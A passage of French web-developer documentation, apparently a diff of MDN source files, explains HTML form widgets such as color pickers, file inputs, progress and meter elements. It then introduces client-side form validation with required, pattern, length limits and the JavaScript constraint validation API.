Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel.

+ +

Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur color.

+ +
<input type="color" name="color" id="color">
+ +

Attention : la prise en charge du widget color n'est pas très bonne actuellement. Il n'y a aucune prise en charge dans Internet Explorer, ni actuellement dans Safari. Les autres navigateurs majeurs le prennent en charge.

+ +

Autres widgets

+ +

Il existe d'autres types de widgets qui ne peuvent pas être classés facilement à cause de leur comportement très particulier, mais qui sont toujours très utiles.

+ +
+

Note : Vous trouverez les exemples de cette section sur GitHub à l'adresse other-examples.html (à voir aussi directement).

+
+ +

Sélection de fichier

+ +

Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article  « Envoi et extraction des données de formulaire ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer.

+ +

Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur file. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}.

+ +

Exemple

+ +

Dans cet exemple, le widget de sélection de fichiers permet de sélectionner des fichiers d'images. L'utilisateur peut sélectionner plusieurs fichiers.

+ +
<input type="file" name="file" id="file" accept="image/*" multiple>
+ +

Contenu caché

+ +

Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur hidden.

+ +

Si vous créez un tel élément, il est obligatoire de définir ses attributs name et value :

+ +
    <input type="hidden" id="timestamp" name="timestamp" value="1286705410">
+ +

Image-bouton

+ +

Le contrôle image-bouton est affiché comme un élément {{HTMLElement("img")}}, à la différence que lorsque l'utilisateur clique dessus, il se comporte comme un bouton d'envoi (voir ci-dessus).

+ +

Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur image. Cet élément accepte exactement le même ensemble d'attributs que l'élément {{HTMLElement("img")}}, en plus de tous les attributs valides pour n'importe quel bouton de formulaire.

+ +
    <input type="image" alt="Click me!" src="my-img.png" width="80" height="30" />
+ +

Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur :

+ +
    +
  • la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « .x »
    • +
  • la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « .y ».
    • +
+ +

Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant :

+ +
    http://foo.com?pos.x=123&pos.y=456
+ +

C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « Envoi des données de formulaire ».

+ +

Compteurs et barres de progression

+ +

Les compteurs et barres de progressions sont des représentations visuelles de valeurs numériques.

+ +

Progress

+ +

Une barre de progression représente une valeur qui évolue dans le temps jusqu'à une valeur maximale définie par l'attribut {{htmlattrxref("max","progress")}}. Une telle barre peut être créée grace à un élément {{ HTMLElement("progress")}}.

+ +
    <progress max="100" value="75">75/100</progress>
+ +

Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire.

+ +

Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ;  les technologies d'assistance vocalisent ce contenu.

+ +

Meter

+ +

Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs :

+ +
    +
  • les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : +
      +
    • la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses)
      • +
    • la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues)
      • +
    • la partie haute de l'intervalle est comprise entre les valeurs {{htmlattrxref("high","meter")}} et {{htmlattrxref("max","meter")}} (les deux valeurs sont incluses)
      • +
    +
    • +
  • La valeur {{htmlattrxref("optimum","meter")}} définit la valeur optimale pour l'élément {{HTMLElement("meter")}}. En conjonction avec les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}}, elle définit quelle partie de la plage est préféré : +
      +
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie basse de l'intervalle, la partie basse est considérée comme la partie préférée, la partie médiane est considérée comme la partie moyenne et la partie haute comme la moins favorable.
      • +
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également.
      • +
    • Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée.
      • +
    +
    • +
+ +

Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre :

+ +
    +
  • Si la valeur actuelle est dans la partie préférée, la barre est verte.
    • +
  • Si la valeur actuelle est dans la partie moyenne, la barre est jaune.
    • +
  • Si la valeut actuelle est dans la partie la moins favorable, la barre est rouge.
    • +
+ +

Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet d'implémenter toute sorte d'étalonnage, par exemple une barre montrant l'espace total utilisé sur un disque, qui devient rouge si le disque commence à être plein.

+ +
<meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
+ +

Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage.

+ +

La prise en charge de progress et meter est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien.

+ +

Conclusion

+ +

Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles  — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail.

+ +

Voir également

+ +

Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter :

+ + + +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/form_validation/index.html b/files/fr/learn/forms/form_validation/index.html new file mode 100644 index 0000000000..ccbac0ef15 --- /dev/null +++ b/files/fr/learn/forms/form_validation/index.html @@ -0,0 +1,874 @@ +--- +title: Validation des données de formulaires +slug: Web/Guide/HTML/Formulaires/Validation_donnees_formulaire +tags: + - Exemple + - Formulaires + - Guide + - HTML + - Intermédiaire + - JavaScript + - Web +translation_of: Learn/Forms/Form_validation +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}
+ +

Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont dans un format correct pour pouvoir être traitées correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser les applications. La validation des données de formulaire vous aide à remplir ces objectifs — cet article indique ce qu'il est nécessaire de savoir.

+ + + + + + + + + + + + +
Prérequis :Notions concernant les ordinateurs, une bonne compréhension du HTML, des CSS et de JavaScript.
Objectif :Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est important et comment la mettre en œuvre.
+ +

Qu'est‑ce qu'une validation de formulaire?

+ +

Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme :

+ +
    +
  • « Ce champ est obligatoire » (vous ne pouvez pas le laisser vide)
    • +
  • « Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres).
    • +
  • « Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide).
    • +
  • « Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?).
    • +
+ +

C'est ce qu'on appelle la validation de formulaire —  lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières.

+ +

La vérité est qu'aucun d'entre nous n'aime remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime.

+ +

Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales :

+ +
    +
  • obtenir de bonnes données dans un bon format — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises.
    • +
  • protéger nos utilisateurs — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données.
    • +
  • nous protéger nous‑mêmes — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir Sécurité du site Web).
    • +
+ +

Les divers types de validation de formulaire

+ +

Vous rencontrerez différents types de validation de formulaires sur le Web :

+ +
    +
  • La validation côté client est la validation qui est effectuée dans le navigateur, avant que les données n'aient été soumises au serveur. Cette méthode est plus conviviale que la validation côté serveur car elle donne une réponse instantanée. Il est possible de la subdiviser encore avec : +
      +
    • la validation JavaScript, codée en JavaScript, entièrement personnalisable.
      • +
    • la validation de formulaire intégrée avec les fonctions de validation de formulaire HTML5. Elle ne nécessite généralement pas de JavaScript, a de meilleures performances, mais elle n'est pas aussi personnalisable.
      • +
    +
    • +
+ +
+
+ +
    +
  • La validation côté serveur est la validation opérée sur le serveur, après que les données ont été soumises — le code côté serveur est utilisé pour valider les données avant de les mettre dans la base de données. Si elles sont erronées, une réponse est envoyée au client pour dire à l'utilisateur ce qui a mal tourné. La validation côté serveur n'est pas aussi conviviale que la validation côté client, car elle nécessite un aller-retour vers le serveur, mais c'est la dernière ligne de défense de votre application contre les mauvaises données (c'est-à-dire les données incorrectes, voire malveillantes). Tous les modèles de canevas de vérification courants côté serveur ont des fonctions de validation et de nettoyage des données (ce qui les sécurise).
    • +
+ +

Dans le monde réel, les développeurs ont tendance à utiliser une combinaison de validations côté client et côté serveur, pour être du côté sûr.

+ +

Utiliser la validation intégrée au formulaire

+ +

Une des caractéristiques de HTML5 est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des attributs de validation sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides.
+ Quand un élément est valide :

+ +
    +
  • l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}}  ; cela vous permet d'appliquer une composition de style distinctive.
    • +
  • si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript).
    • +
+ +

Quand un élément est invalide :

+ +
    +
  • l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}}  ; cela vous permet d'appliquer une composition de style distinctive.
    • +
  • si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur.
    • +
+ +

Contraintes de validation sur les éléments d'entrée — simple début

+ + + +

Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}.

+ +

Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse fruit-start.html et un exemple « live » ci-dessous :

+ + + +

{{EmbedLiveSample("Hidden_code", "100%", 55)}}

+ +

Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire sur votre disque dur.

+ +

L'attribut required

+ +

La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide).

+ +

Ajoutez un attribut required à votre saisie, comme montré ci‑dessous :

+ +
<form>
+  <label for="choose">Préférez-vous la banane ou la cerise ?</label>
+  <input id="choose" name="i_like" required>
+  <button>Soumettre</button>
+</form>
+ +

Notez aussi le CSS incorporé dans le fichier exemple :

+ +
input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 1px solid black;
+}
+ +

L'entrée a une bordure en pointillés rouge vif lorsqu'elle n'est pas valide, et une bordure noire plus subtile lorsqu'elle est valide. Essayez le nouveau comportement dans l'exemple ci-dessous :

+ +

{{EmbedLiveSample("L'attribut_required", "100%", 55)}}

+ +

Validation selon une expression régulière

+ +

Une autre fonctionnalité de validation très courante est l'attribut {{htmlattrxref("pattern", "input")}}, qui attend une expression régulière comme valeur. Une expression régulière (regex) est un modèle qui peut être utilisé pour faire correspondre des combinaisons de caractères dans des chaînes de texte, de sorte qu'elles sont idéales pour la validation de formulaires (ainsi que diverses autres utilisations en JavaScript). Les Regex sont assez complexes et nous n'avons pas l'intention de vous les enseigner de manière exhaustive dans cet article.

+ +

Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base de leur fonctionnement :

+ +
    +
  • a — correspond à un caractère qui doit être un a (ni b, ni aa, etc.)
    • +
  • abc — correspond à a, suivi de b, suivi de c.
    • +
  • a* — correspond au caractère a, absent ou présent plusieurs fois (+ correspond à un caractère une ou plusieurs fois).
    • +
  • [^a] — correspond à un caractère qui n'est pas un a.
    • +
  • a|b — correspond à un caractère qui est a ou b.
    • +
  • [abc] — correspond à un caractère qui est a, b ou c.
    • +
  • [^abc] — correspond à un caractère qui n'est pas a, b ou c.
    • +
  • [a-z] — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez [A-Za-z] pour minuscules et majuscules et [A-Z] pour les majuscules uniquement).
    • +
  • a.c — correspond à a, suivi par n'importe quel caractère,suivi par c.
    • +
  • a{5} — correspond à a, 5 fois.
    • +
  • a{5,7} — correspond à  a, 5 à 7 fois, mais ni plus, ni moins.
    • +
+ +

Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme :

+ +
    +
  • [ -] — correspond à une espace ou un tiret.
    • +
  • [0-9] — correspond à tout nombre compris entre 0 et 9.
    • +
+ +

Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres :

+ +
    +
  • [Ll].*k — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules.
    • +
  • [A-Z][A-Za-z' -]+ — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford.
    • +
  • [0-9]{3}[ -][0-9]{3}[ -][0-9]{4} — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration.
    • +
+ +

Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut pattern, ainsi :

+ +
<form>
+  <label for="choose">Préférez‑vous la banane ou la cerise ?</label>
+  <input id="choose" name="i_like" required pattern="banane|cerise">
+  <button>Soumettre</button>
+</form>
+ + + +

{{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}}

+ +

Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ».

+ +

Maintenant, essayez de changer la valeur à l'intérieur de l'attribut pattern suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens !

+ +
+

Note : Certains types d'éléments {{HTMLElement("input")}} n'ont pas besoin d'un attribut {{htmlattrxref("pattern", "input")}} pour être validés. Spécifier le type email, par exemple, valide la valeur saisie par rapport à une expression régulière correspondant à une adresse e‑mail bien formée (ou une liste d'adresses e‑mail séparées par des virgules si elle possède l'attribut {{htmlattrxref("multiple", "input")}}. Comme autre exemple, les champs de type url vont automatiquement nécessiter une URL correctement formée.

+
+ +
+

Note : L'élément {{HTMLElement("textarea")}} ne prend pas en charge l'attribut {{htmlattrxref("pattern", "input")}}.

+
+ +

Limitation de la taille des entrées

+ +

Tous les champs de texte créés avec ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) peuvent être limités en taille avec les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}}. Le champ sera invalide si sa taille est inférieure à la valeur {{htmlattrxref("minlength", "input")}} ou supérieure la valeur {{htmlattrxref("maxlength", "input")}}. Souvent, les navigateurs ne permettent pas aux utilisateurs de saisir des textes de grande longueur dans les champs texte, mais il peut être utile de disposer d'un contrôle plus fin.

+ +

Pour les champs numériques (c'est à dire, <type d'entrée="nombre">), les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent également des contraintes de validité. Si la valeur du champ est inférieure à l'attribut {{htmlattrxref("min", "input")}} ou supérieure à l'attribut {{htmlattrxref("max", "input")}}, le champ ne sera pas valide.

+ +

Prenons un autre exemple. Créez une nouvelle copie du fichier fruit-start.html.

+ +

Supprimez maintenant le contenu de l'élément <body> et remplacez-le par le suivant :

+ +
<form>
+  <div>
+    <label for="choose">Préférez‑vous la banane ou la cerise ?</label>
+    <input id="choose" name="i_like" required minlength="6" maxlength="6">
+  </div>
+  <div>
+    <label for="number">Combien en voulez‑vous ?</label>
+    <input type="number" id="number" name="amount" value="1" min="1" max="10">
+  </div>
+  <div>
+    <button>Soumettre</button>
+  </div>
+</form>
+ +
    +
  • Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de banane ou cerise. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs.
    • +
  • Nous avons également contraint le champ number à un min de 1 et un max de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage.
    • +
+ + + +

Voici cet exemple s'exécutant en « live » :

+ +

{{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}}

+ +
+

Note: <input type="number"> (et d'autres types, comme range) acceptent aussi un attribut {{htmlattrxref("step", "input")}} qui spécifie l'incrément en plus ou en moins de la valeur quand les contrôles d'entrée sont utilisés (comme les boutons ^ et v).

+
+ +

Exemple complet

+ +

Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation :

+ +
<form>
+  <p>
+    <fieldset>
+      <legend>Qualité<abbr title="Ce champ est obligatoire">*</abbr></legend>
+      <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">M.</label>
+      <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Mme.</label>
+    </fieldset>
+  </p>
+  <p>
+    <label for="n1">Quel est votre âge ?</label>
+    <!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est
+         pas implémenté pour input mais qui prennent en charge l'attribut pattern. Veuillez noter
+         que les navigateurs prenant en charge l'attribut pattern ne signalent pas d'erreur quand
+         il est utilisé avec un champ number. Seule son utilisation ici agit en tant que recours. -->
+    <input type="number" min="12" max="120" step="1" id="n1" name="age"
+           pattern="\d+">
+  </p>
+  <p>
+    <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label>
+    <input type="text" id="t1" name="fruit" list="l1" required
+           pattern="[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme">
+    <datalist id="l1">
+      <option>Banane</option>
+      <option>Cerise</option>
+      <option>Citron</option>
+      <option>Fraise</option>
+      <option>Orange</option>
+      <option>Pomme</option>
+    </datalist>
+  </p>
+  <p>
+    <label for="t2">Quelle est votre adresse électronique ?</label>
+    <input type="email" id="t2" name="email">
+  </p>
+  <p>
+    <label for="t3">Laissez un court message</label>
+    <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea>
+  </p>
+  <p>
+    <button>Soumettre</button>
+  </p>
+</form>
+ +
body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 300px;
+  margin: 0;
+  padding: 0 5px;
+}
+
+p > label {
+  display: block;
+}
+
+input[type=text],
+input[type=email],
+input[type=number],
+textarea,
+fieldset {
+/* requis pour composer de manière appropriée les éléments
+   de formulaire sur les navigateurs fondés sur WebKit */
+  -webkit-appearance: none;
+
+  width : 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+input:invalid {
+  box-shadow: 0 0 5px 1px red;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+ +

{{EmbedLiveSample("Exemple_complet", "100%", 450)}}

+ + + +

Messages d'erreur personnalisés

+ +

Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisateur tente d'envoyer un formulaire invalide, le navigateur affiche un message d'erreur. La manière dont le message est affiché dépend du navigateur.

+ +

Ces messages automatiques présentent deux inconvénients:

+ +
    +
  • Il n'y a pas de façon standard de changer leur apparence avec CSS.
    • +
  • Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + +
Versions françaises des navigateurs sur une page en anglais
NavigateurAffichage
Firefox 17 (Windows 7)Example of an error message with Firefox in French on an English page
Chrome 22 (Windows 7)Example of an error message with Chrome in French on an English page
Opera 12.10 (Mac OSX)Example of an error message with Opera in French on an English page
+ +

Pour personnaliser l'apparence et le texte de ces messages, vous devez utiliser JavaScript ; il n'est pas possible de l'implémenter en utilisant uniquement HTML et CSS.

+ +

HMTL5 fournit une API de contraintes de validation pour vérifier et personnaliser l'état des élément d'un formulaire. Il est possible, entre autres, de changer le texte des messages d'erreur. Voici un court exemple :

+ +
<form>
+  <label for="mail">Pourriez-vous nous fournir une adresse mail ?</label>
+  <input type="email" id="mail" name="mail">
+  <button>Envoyer</button>
+</form>
+ +

En JavaScript, il faut appeler la méthode setCustomValidity():

+ +
var email = document.getElementById("mail");
+
+email.addEventListener("keyup", function (event) {
+  if(email.validity.typeMismatch) {
+    email.setCustomValidity("J'attend un e-mail, mon cher !");
+  } else {
+    email.setCustomValidity("");
+  }
+});
+ +

{{EmbedLiveSample("Messages_d'erreur_personnalisés", "100%", 50)}}

+ +

Validation de formulaires avec JavaScript

+ +

Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript.

+ +

API de contraintes de validation HTML5

+ +

De plus en plus de navigateurs prennent maintenant en charge l'API de validation des contraintes, et elle devient fiable. Cette API se compose d'un ensemble de méthodes et de propriétés disponibles sur chaque élément de formulaire.

+ +

Propriétés de l'API de validation des contraintes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétésDescription
validationMessageUn message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (willValidate est alors false), ou bien la valeur de l'élément satisfait ses contraintes.
validityUn objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément.
validity.customErrorRenvoie true si l'élément à une erreur personnalisée, false a contrario.
validity.patternMismatchRenvoie true si la valeur de l'élément ne correspond pas au motif fourni, false dans le cas contraire. Si la méthode renvoie true, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}.
validity.rangeOverflowRenvoie true si la valeur de l'élément est supérieure au maximum défini, false dans le cas contraire. Si le retour est true, l'élément fera partie des  pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.rangeUnderflowRenvoie true si la valeur de l'élément est plus petite que le minimum défini, false dans le cas contraire. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.stepMismatchRenvoie true si la valeur de l'élément ne correspond pas aux règles définies par l'attribut step,false a contrario. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.tooLongRenvoie true si la taille de l'élément est supérieure à la longueur maximum définie, false dans le cas contraire. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.typeMismatchRenvoie true si la syntaxe de la valeur de l'élément n'est pas correcte ; false dans le cas contraire. Si le retour est true, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}.
validity.validRenvoie true si la valeur de l'élément n'a pas de problème de validité, sinon false. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est true ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est false.
validity.valueMissingRenvoie true si l'élément n'a pas de valeur alors que le champ est requis, sinonfalse. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est true.
willValidateRetourne true si l'élément est validé lorsque le formulaire est soumis, false dans le cas contraire.
+ +

Méthodes de l'API de validation des contraintes

+ + + + + + + + + + + + + + + + + + +
MéthodesDescription
checkValidity()Renvoie true si la valeur de l'élément n'a pas de problème de validation, false autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément.
setCustomValidity(message)Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée.
+ +

Pour les anciens navigateurs, il existe une prothèse d'émulation (polyfill) comme Hyperform, pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web.

+ +

Exemple d'utilisation de l'API de validation des contraintes

+ +

Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML :

+ +
<form novalidate>
+  <p>
+    <label for="mail">
+      <span>Veuillez saisir une adresse e-mail :</span>
+      <input type="email" id="mail" name="mail">
+      <span class="error" aria-live="polite"></span>
+    </label>
+  <p>
+  <button>Envoyer</button>
+</form>
+ +

Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS  {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même.

+ +

